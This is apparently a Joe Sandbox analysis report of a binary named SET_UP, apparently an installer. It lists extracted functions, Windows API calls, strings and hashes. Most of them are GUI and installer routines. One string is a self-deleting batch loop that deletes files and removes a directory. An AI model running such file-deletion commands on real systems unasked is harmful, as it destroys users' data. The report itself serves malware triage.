Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: Window$Rect$InvalidateItemPoints
String ID:
API String ID: 2775623374-0
Opcode ID: 247c3ae70828a4abd55406b0eff2fd157545ce6d8a2247430a0b3fd2534448b4
Instruction ID: fe07286c357438a62547479cde0d991484c9945cfe77f9d5876faa140f9fb738
Opcode Fuzzy Hash: 247c3ae70828a4abd55406b0eff2fd157545ce6d8a2247430a0b3fd2534448b4
Instruction Fuzzy Hash: 14D148756083059FD708CF68CA89BAABBE5FF89704F048A1DF989D7255D730E940CB52

Function 000B74C0 Relevance: 25.8, APIs: 17, Instructions: 340COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 000B750A
GetWindowRect.USER32(00000000,?), ref: 000B7518
MapWindowPoints.USER32(00000000,?,?,00000002), ref: 000B7544
InvalidateRect.USER32(00000000,00000000,00000001), ref: 000B7845
SetWindowPos.USER32(00000000,00000000,?,?,?,?,00000014), ref: 000B786F

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: Window$Rect$InvalidateItemPoints
String ID:
API String ID: 2775623374-0
Opcode ID: a87a236ab1529b748be8b9bd69f57b591a855bb5ca0e6e5a5789a6ce7e19d75f
Instruction ID: 26ae475a793709b97ab81539665df4f5e8847e6965d8b52b0686bbc537bce725
Opcode Fuzzy Hash: a87a236ab1529b748be8b9bd69f57b591a855bb5ca0e6e5a5789a6ce7e19d75f
Instruction Fuzzy Hash: F6D127756483059FD708CF6CCA89AAABBE5FF88704F048A1CF989D7255D730E944CB92

Function 000E18A0 Relevance: 25.8, APIs: 17, Instructions: 340COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 000E18EA
GetWindowRect.USER32(00000000,?), ref: 000E18F8
MapWindowPoints.USER32(00000000,?,?,00000002), ref: 000E1924
InvalidateRect.USER32(00000000,00000000,00000001), ref: 000E1C25
SetWindowPos.USER32(00000000,00000000,?,?,?,?,00000014), ref: 000E1C4F

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: Window$Rect$InvalidateItemPoints
String ID:
API String ID: 2775623374-0
Opcode ID: cc0a3b230af412ef59673cf631bf7862afa4a83d41531433f674a2652a05d661
Instruction ID: e6729ddb15305ceb602983052ce1837afca5360ed9be1da04ca7b2b1d79712b7
Opcode Fuzzy Hash: cc0a3b230af412ef59673cf631bf7862afa4a83d41531433f674a2652a05d661
Instruction Fuzzy Hash: 70D15A75644345AFD708CF68CA88BAABBE5FF88700F088A1CF989D7251D730E940CB52

Function 000E0940 Relevance: 24.2, APIs: 16, Instructions: 217windowCOMMON

Download Yara Rule

APIs

LoadMenuW.USER32(?,0CE81EE3), ref: 000E09B9
GetCursorPos.USER32(?), ref: 000E0A0A
SetMenuDefaultItem.USER32(?,0012BBE8,00000000), ref: 000E0A25
SetForegroundWindow.USER32(?), ref: 000E0A40
MonitorFromPoint.USER32(00000000,00000000,00000000), ref: 000E0A5B
MonitorFromPoint.USER32(00000000,?,00000002), ref: 000E0A6B
GetMonitorInfoW.USER32(00000000,?), ref: 000E0A93
TrackPopupMenu.USER32(?,00000000,00000000,?,00000000,?,00000000), ref: 000E0ABF
PostMessageW.USER32(?,00000000,00000000,00000000), ref: 000E0AD0
DestroyMenu.USER32(00000000), ref: 000E0ADD
DestroyMenu.USER32(00000000), ref: 000E0AF9
LoadMenuW.USER32(?,0CE81EE3), ref: 000E0B42
SendMessageW.USER32(?,00000111,00000000,00000000), ref: 000E0B9E
DestroyMenu.USER32(00000000), ref: 000E0BAB
DestroyMenu.USER32(00000000), ref: 000E0BC3

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: Menu$Destroy$Monitor$FromLoadMessagePoint$CursorDefaultForegroundInfoItemPopupPostSendTrackWindow
String ID:
API String ID: 2045254342-0
Opcode ID: 2b45271cabffadf95aaa306893e8f633a7c42c4303dec9227f5470ec89494509
Instruction ID: 325b2f7fdf97ecb9f9f45e6abc811a20172b231fcca2d6172206efc480d6378b
Opcode Fuzzy Hash: 2b45271cabffadf95aaa306893e8f633a7c42c4303dec9227f5470ec89494509
Instruction Fuzzy Hash: 4D818E71A01249EFEB14DFA5CD44BAEBBB8FF48710F104229E915F7690DBB09D818B91

Function 000E2CE0 Relevance: 24.1, APIs: 16, Instructions: 103windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000413), ref: 000E2CF9
GetDlgItem.USER32(?,000003FC), ref: 000E2D05
SendMessageW.USER32(00000000,000000F0,00000000,00000000), ref: 000E2D19
EnableWindow.USER32(00000000,-00000001), ref: 000E2D2A
GetDlgItem.USER32(01B80000,00000402), ref: 000E2D38
SendMessageW.USER32(00000000,000000F0,00000000,00000000), ref: 000E2D4A
EnableWindow.USER32(00000000,-00000001), ref: 000E2D55
GetDlgItem.USER32(01B80000,000003FF), ref: 000E2D63
SendMessageW.USER32(00000000,000000F0,00000000,00000000), ref: 000E2D75
EnableWindow.USER32(00000000,-00000001), ref: 000E2D80
GetDlgItem.USER32(01B80000,0000040D), ref: 000E2D8E
SendMessageW.USER32(00000000,000000F0,00000000,00000000), ref: 000E2DA0
EnableWindow.USER32(00000000,-00000001), ref: 000E2DAB
GetDlgItem.USER32(?,00000423), ref: 000E2DB9
SendMessageW.USER32(00000000,000000F0,00000000,00000000), ref: 000E2DC9
EnableWindow.USER32(?,00000000), ref: 000E2DD5

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: Item$EnableMessageSendWindow
String ID:
API String ID: 3471810782-0
Opcode ID: e9bf61219b6c652ca3770b7660fa9abc3a6f6241e0c4bb5150dfd4013d77e1e6
Instruction ID: f9fa9ff9748c08ad547afea7cd29cc37a23deb2e00918e8210033823ef976d6f
Opcode Fuzzy Hash: e9bf61219b6c652ca3770b7660fa9abc3a6f6241e0c4bb5150dfd4013d77e1e6
Instruction Fuzzy Hash: BD217F316D031A7FEA205B75DD46F7AB6A8EB05F01F008524B701EB5E0CEA0EC00569D

Function 000DC550 Relevance: 23.2, APIs: 5, Strings: 8, Instructions: 454processsynchronizationCOMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 000DC5F1
GetLastError.KERNEL32 ref: 000DC5FF

Part of subcall function 00074130: GetProcessHeap.KERNEL32 ref: 00074185

Part of subcall function 000972D0: InitializeCriticalSection.KERNEL32(?,0CE81EE3,00000000), ref: 0009730D
Part of subcall function 000972D0: EnterCriticalSection.KERNEL32(?,0CE81EE3,00000000), ref: 0009731A
Part of subcall function 000972D0: GetCurrentProcessId.KERNEL32( [PID=,00000006,0012CCDC,00000002), ref: 000973B8
Part of subcall function 000972D0: GetCurrentThreadId.KERNEL32 ref: 000973D7

CreateProcessW.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?), ref: 000DC934
WaitForSingleObject.KERNEL32(?,000000FF), ref: 000DC946
GetLastError.KERNEL32 ref: 000DC953

Strings

D, xrefs: 000DC5E0
LastError: , xrefs: 000DC666, 000DC831, 000DCA49
" failed., xrefs: 000DCA37
"%s" %s, xrefs: 000DC904
VerifyDigitalSignature failed., xrefs: 000DC825
GetModuleFileName failed., xrefs: 000DC65A
" with command line ", xrefs: 000DC9F2
CreateProcess ", xrefs: 000DC9AF

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: Process$CriticalCurrentErrorLastSection$CreateEnterFileHeapInitializeModuleNameObjectSingleThreadWait
String ID: LastError: $" failed.$" with command line "$"%s" %s$CreateProcess "$D$GetModuleFileName failed.$VerifyDigitalSignature failed.
API String ID: 4273426264-3585311892
Opcode ID: 3f5f40d0cba03de5800c294c5036a92b34abc75bddb49d60d8c5d5de9dd8728c
Instruction ID: be9431561507cc90fe6156e0088a38ddfff4996a2f97a51162581c580c295ff4
Opcode Fuzzy Hash: 3f5f40d0cba03de5800c294c5036a92b34abc75bddb49d60d8c5d5de9dd8728c
Instruction Fuzzy Hash: C602B0319417199BDB60EB68DC49BDAB7F4AF58310F1483D9E409A7292EB309E81CF50

Function 00078980 Relevance: 23.1, APIs: 11, Strings: 2, Instructions: 390libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Advapi32.dll,0CE81EE3,00000000), ref: 00078A11
GetLastError.KERNEL32 ref: 00078A3F
GetProcAddress.KERNEL32(00000000,ConvertStringSidToSidW), ref: 00078A55
FreeLibrary.KERNEL32(00000000), ref: 00078A6E
GetLastError.KERNEL32 ref: 00078A7B
GetLastError.KERNEL32 ref: 00078C69
GetLastError.KERNEL32 ref: 00078CCE

Strings

Advapi32.dll, xrefs: 00078A0C
ConvertStringSidToSidW, xrefs: 00078A4F

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: ErrorLast$Library$AddressFreeLoadProc
String ID: Advapi32.dll$ConvertStringSidToSidW
API String ID: 2084285179-1129428314
Opcode ID: 6a20e7a2fc379b5e9e50b38189190359da8a322f3a877f083c7b13444a9ea37c
Instruction ID: 090e69ad815225f8f2341d9a8398d185986bb22c3079edb5e660180b52711de1
Opcode Fuzzy Hash: 6a20e7a2fc379b5e9e50b38189190359da8a322f3a877f083c7b13444a9ea37c
Instruction Fuzzy Hash: A9F16CB1C41209EBDB10DF94C948BDEBBB4BF08314F24C119E919B7281EB74AA55CBA5

Function 0009F890 Relevance: 22.8, APIs: 15, Instructions: 285COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(00000000,00000001), ref: 0009F8C4
SetWindowTextW.USER32(00000000,00000000), ref: 0009F8E4
SetWindowTextW.USER32(00000000,00000000), ref: 0009F933
SetWindowTextW.USER32(00000000,00000000), ref: 0009F9BD
GetDlgItem.USER32(00000000,00000426), ref: 0009F9D0
GetDlgItem.USER32(00000000,00000427), ref: 0009F9DF
GetDlgItem.USER32(00000000,00000434), ref: 0009FA37
SetWindowTextW.USER32(00000000,?), ref: 0009FA3E
GetDlgItem.USER32(428D0824,00000429), ref: 0009FA4F
SetWindowTextW.USER32(00000000,00000000), ref: 0009FA68
SetWindowTextW.USER32(00000000,00000000), ref: 0009FAB6
GetDlgItem.USER32(428D0824,00000428), ref: 0009FAE6
SetWindowTextW.USER32(00000000,00000000), ref: 0009FB03
GetDlgItem.USER32(428D0824,00000001), ref: 0009FB32
EnableWindow.USER32(00000000,00000000), ref: 0009FB3B

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: Window$ItemText$Enable
String ID:
API String ID: 1565752131-0
Opcode ID: 8eae48eae865be3923daf29bc9356ec07556f739f195a665d7f2a3847903b452
Instruction ID: 87d58471955cea01ade52a535a45f56003224fcc1ab47898c34c33b4ddc36095
Opcode Fuzzy Hash: 8eae48eae865be3923daf29bc9356ec07556f739f195a665d7f2a3847903b452
Instruction Fuzzy Hash: CDB14D30A01646DFDB00DFA8CD48AAEFBB5FF49321F14C268E5159B2A2DB759D05CB90

Function 000BC770 Relevance: 21.4, APIs: 14, Instructions: 352windowCOMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000F0), ref: 000BC7C4
GetWindowLongW.USER32(?,000000F0), ref: 000BC7D8
SetWindowLongW.USER32(?,000000F0,00000000), ref: 000BC7EF
GetWindowLongW.USER32(?,000000EC), ref: 000BC802
SetWindowLongW.USER32(?,000000EC,00000000), ref: 000BC816
SendMessageW.USER32(?,0000007F,00000000,00000000), ref: 000BC824
SendMessageW.USER32(?,00000080,00000000,00000000), ref: 000BC837
GetDlgItem.USER32(?,0000E801), ref: 000BC844
IsWindow.USER32(00000000), ref: 000BC84D
DestroyWindow.USER32(00000000), ref: 000BC869
GetClientRect.USER32(?,?), ref: 000BC8BE
GetDlgItem.USER32(?), ref: 000BCA68
GetWindowRect.USER32(00000000,?), ref: 000BCA7A
MapWindowPoints.USER32(00000000,?,?,00000002), ref: 000BCA8D

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: Window$Long$ItemMessageRectSend$ClientDestroyPoints
String ID:
API String ID: 4053346426-0
Opcode ID: f79e72391a8aeea2cad5e153cdeb458dabba4f74927cbc5d65f90de902ec1d2a
Instruction ID: 3f3439da6ba8034e14c2b2fab2ff9ad309d6d0c595e944721d2cfb4a59f420a7
Opcode Fuzzy Hash: f79e72391a8aeea2cad5e153cdeb458dabba4f74927cbc5d65f90de902ec1d2a
Instruction Fuzzy Hash: 73D1ADB0904204AFEB14DF69D988F9EBBF4FF44314F108229F459A72E1DB74A984CB91

Function 000D88C0 Relevance: 21.3, APIs: 9, Strings: 3, Instructions: 259COMMON

Download Yara Rule

APIs

InitializeCriticalSectionEx.KERNEL32(?,00000000,00000000,0CE81EE3), ref: 000D8968
GetLastError.KERNEL32 ref: 000D8972
EnterCriticalSection.KERNEL32(?), ref: 000D89E7
LeaveCriticalSection.KERNEL32(?,76ECE820,?), ref: 000D8A14
GetModuleFileNameW.KERNEL32(00070000,?,00000104), ref: 000D8A6B
GetModuleHandleW.KERNEL32(00000000), ref: 000D8AD3
LeaveCriticalSection.KERNEL32(?,Module,?), ref: 000D8BD6
EnterCriticalSection.KERNEL32(?), ref: 000D8BF7
LeaveCriticalSection.KERNEL32(?,Module_Raw,?), ref: 000D8C2B

Strings

REGISTRY, xrefs: 000D8C96
Module, xrefs: 000D8BBD
Module_Raw, xrefs: 000D8C12

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: CriticalSection$Leave$EnterModule$ErrorFileHandleInitializeLastName
String ID: Module$Module_Raw$REGISTRY
API String ID: 1851870515-549000027
Opcode ID: 3b841538932d3ab0eab2e6d9c9483d32c30cbeed97b349da620a3718adc18579
Instruction ID: 6878b9fbbcf77ac409cff8dca371e8520edb4c7abefbd15873abc869e3c244a2
Opcode Fuzzy Hash: 3b841538932d3ab0eab2e6d9c9483d32c30cbeed97b349da620a3718adc18579
Instruction Fuzzy Hash: D1B1CF71900318DBDB20DB64CD54BEEB7B4AF4A310F1481DAE409A7691EB755F84CFA2

Function 000BAC10 Relevance: 21.3, APIs: 14, Instructions: 257windowCOMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000F0), ref: 000BAC64
GetWindowLongW.USER32(?,000000F0), ref: 000BAC78
SetWindowLongW.USER32(?,000000F0,00000000), ref: 000BAC8F
GetWindowLongW.USER32(?,000000EC), ref: 000BACA2
SetWindowLongW.USER32(?,000000EC,00000000), ref: 000BACB6
SendMessageW.USER32(?,0000007F,00000000,00000000), ref: 000BACC4
SendMessageW.USER32(?,00000080,00000000,00000000), ref: 000BACD7
GetDlgItem.USER32(?,0000E801), ref: 000BACE4
IsWindow.USER32(00000000), ref: 000BACED
DestroyWindow.USER32(00000000), ref: 000BAD09
GetClientRect.USER32(?,?), ref: 000BAD5E
GetDlgItem.USER32(?), ref: 000BAEEC
GetWindowRect.USER32(00000000,?), ref: 000BAEFE
MapWindowPoints.USER32(00000000,?,?,00000002), ref: 000BAF11

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: Window$Long$ItemMessageRectSend$ClientDestroyPoints
String ID:
API String ID: 4053346426-0
Opcode ID: d33696d5474ef2091f4f9e8c8e48103e538ad790127090f61bd375dfa4625fc1
Instruction ID: 8f4169bbef7ae28457e5529df02faa6e5875108d4ceeb977a97a0e85f7ba57ed
Opcode Fuzzy Hash: d33696d5474ef2091f4f9e8c8e48103e538ad790127090f61bd375dfa4625fc1
Instruction Fuzzy Hash: 55A17EB0A04205EFDB14DFA8D994BADBBF4FF05310F208229E425A76E1D774A880CB91

Function 000B6DE0 Relevance: 21.3, APIs: 14, Instructions: 256windowCOMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000F0), ref: 000B6E34
GetWindowLongW.USER32(?,000000F0), ref: 000B6E48
SetWindowLongW.USER32(?,000000F0,00000000), ref: 000B6E5F

Part of subcall function 00078700: RaiseException.KERNEL32(00000000,00000000,00000000,00000000,000E5BDA,C000008C,00000001,?,000E5C0B,00000000,?,00000000,?,00073C47,00000000,0CE81EE3), ref: 0007870C

GetWindowLongW.USER32(?,000000EC), ref: 000B6E72
SetWindowLongW.USER32(?,000000EC,00000000), ref: 000B6E86
SendMessageW.USER32(?,0000007F,00000000,00000000), ref: 000B6E94
SendMessageW.USER32(?,00000080,00000000,00000000), ref: 000B6EA7
GetDlgItem.USER32(?,0000E801), ref: 000B6EB4
IsWindow.USER32(00000000), ref: 000B6EBD
DestroyWindow.USER32(00000000), ref: 000B6ED9
GetClientRect.USER32(?,?), ref: 000B6F2E
GetDlgItem.USER32(?), ref: 000B70A0
GetWindowRect.USER32(00000000,?), ref: 000B70B2
MapWindowPoints.USER32(00000000,?,?,00000002), ref: 000B70C5

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: Window$Long$ItemMessageRectSend$ClientDestroyExceptionPointsRaise
String ID:
API String ID: 1311170239-0
Opcode ID: 2e5c07176c2b7128d01201364afc1c2dd7b45083fe7e6a50beafc9f65fbf7794
Instruction ID: 5d2752fc476842cdcb398912deacd1666d8af6438eb11772cbfeb9c02ce0596c
Opcode Fuzzy Hash: 2e5c07176c2b7128d01201364afc1c2dd7b45083fe7e6a50beafc9f65fbf7794
Instruction Fuzzy Hash: 6BA18E74904205EFDB14DF68DD84BAEBBF4FF45320F208229E925A76E1D775A880CB90

Function 000C6460 Relevance: 21.3, APIs: 7, Strings: 5, Instructions: 253fileCOMMON

Download Yara Rule

APIs

Part of subcall function 000C6460: WritePrivateProfileStringW.KERNEL32(000000E0,?,?,0CE81EE3), ref: 000C63C7

CreateFileW.KERNEL32(00000000,40000000,00000000,00000000,00000002,00000080,00000000,UninstallFilePath,00000000,0CE81EE3,0CE81EE3,?,?,00000000), ref: 000C64CB
GetLastError.KERNEL32 ref: 000C64EA
CloseHandle.KERNEL32(?), ref: 000C66FB

Part of subcall function 00074130: GetProcessHeap.KERNEL32 ref: 00074185

Part of subcall function 00073320: FindResourceW.KERNEL32(00000000,00000001,00000006,?,00000000,?,00000000,?), ref: 000731E8

GetACP.KERNEL32(?,00000000), ref: 000C6614
WideCharToMultiByte.KERNEL32(?,00000000,0CE81EE3,000000FF,00000000,00000000,00000000,00000000), ref: 000C6646
WideCharToMultiByte.KERNEL32(?,00000000,0CE81EE3,000000FF,00000000,?,00000000,00000000), ref: 000C6675
WriteFile.KERNEL32(?,00000000,-00000001,?,00000000), ref: 000C668B

Strings

UninstallFilePath, xrefs: 000C6498
@echo off , xrefs: 000C6518, 000C6528
General, xrefs: 000C6397, 000C63A7
:again if not exist "%s" goto end if exist "%s" del "%s" goto again :end rmDir "%s" del "%s" | cls, xrefs: 000C65E5
del "%s" , xrefs: 000C6578

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: ByteCharFileMultiWideWrite$CloseCreateErrorFindHandleHeapLastPrivateProcessProfileResourceString
String ID: :again if not exist "%s" goto end if exist "%s" del "%s" goto again :end rmDir "%s" del "%s" | cls$@echo off $General$UninstallFilePath$del "%s"
API String ID: 2630526663-1430081174
Opcode ID: 963d6ecaf4421ea4cad937fa8d46b08bd4f6e5e3116004ee7f6ec51b2c1b8370
Instruction ID: 6450c93f91f20933678cadd1c4a09250c2227e187e2c3ea4d6aa209fefe46087
Opcode Fuzzy Hash: 963d6ecaf4421ea4cad937fa8d46b08bd4f6e5e3116004ee7f6ec51b2c1b8370
Instruction Fuzzy Hash: 70917D71901605EFDB10DFA8CC49FAEBBF4EF05314F148169F918AB292DB7599048BA4

Function 000BCC30 Relevance: 21.2, APIs: 7, Strings: 5, Instructions: 247fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,40000000,00000000,00000000,00000002,00000080,00000000,?,00000000,?,?,00000000,001127ED,000000FF), ref: 000BCCB4
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,00000000,00000000,?,?,?,?,00000000,001127ED,000000FF), ref: 000BCD17
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,00000000,00000000,00000000,?,?,?,?,00000000,001127ED,000000FF), ref: 000BCD3E
WriteFile.KERNEL32(?,?,?,?,00000000,?,?,?,?,00000000,001127ED,000000FF), ref: 000BCE16
CloseHandle.KERNEL32(?,?,?,?,?,00000000,001127ED,000000FF), ref: 000BCE1F
ShellExecuteW.SHELL32(00000000,open,00000000,00000000,00000000,00000005), ref: 000BCE58
ShellExecuteW.SHELL32(00000000,00000000,00000000,00000000,00000000,00000005), ref: 000BCE90

Strings

url, xrefs: 000BCC6D
-_.~!*'();:@&=+$,/?#[], xrefs: 000BCD8B, 000BCDA0
open, xrefs: 000BCE51
[InternetShortcut]URL=, xrefs: 000BCD4A
URL, xrefs: 000BCC72

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
